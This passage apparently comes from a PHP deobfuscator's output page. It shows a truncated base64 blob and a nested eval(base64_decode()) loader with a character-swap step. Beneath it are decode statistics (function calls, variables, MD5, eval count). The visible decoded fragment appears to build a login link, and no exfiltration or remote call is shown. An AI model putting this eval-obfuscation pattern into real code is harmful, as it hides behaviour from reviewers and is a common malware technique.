Q0KCQkkbDJnNG5UeXA1ID0gIjwxIGhyNWY9XCIjXCIgMm5jbDRjaz1cImwyZzRuKCckbDJnNG5VcmwnKTtyNXQzcm4gZjFsczU7XCI+IjsNCgk1bHM1DQoJCSRsMmc0blR5cDUgPSAnPDEgaHI1Zj0iJyAuICRsMmc0blVybCAuICciPic7DQo/Pg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?> 

Function Calls

strtr 1
ereg_replace 1
base64_decode 2

Variables

$_F index.php
$_R 0
$_X 0

Stats

MD5 f248841c90bcb3b7b9d395d2af1b97da
Eval Count 2
Decode Time 89 ms